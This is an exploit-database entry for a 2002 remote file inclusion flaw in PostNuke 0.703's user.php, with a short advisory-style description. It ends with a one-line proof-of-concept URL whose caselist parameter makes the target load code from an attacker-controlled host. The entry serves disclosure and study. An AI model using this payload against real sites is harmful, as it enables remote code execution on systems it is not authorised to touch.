PostNuke 0.703 - caselist Arbitrary Module Include

2002-03-28T00:00:00
ID EXPLOITPACK:4299E8B96B9F8BCB73333D045F914ECE
Type exploitpack
Reporter pokleyzz sakamaniaka
Modified 2002-03-28T00:00:00

Description

PostNuke 0.703 - caselist Arbitrary Module Include

                                        
                                            source: https://www.securityfocus.com/bid/4381/info

PostNuke is a content management system originally forked from the PHP-Nuke project. It is implemented in PHP, and available for Windows, Linux and other Unix based systems.

A vulnerability has been reported in some versions of PostNuke. Reportedly, it is possible to force the script user.php to include arbitrary modules. These files may be hosted remotely and contain arbitrary code, which will then be executed by the vulnerable system.

Other versions of PostNuke may share this vulnerability. This has not, however, been confirmed.

http://lame_host/user.php?caselist[bad_file.txt][path]=http://bad_host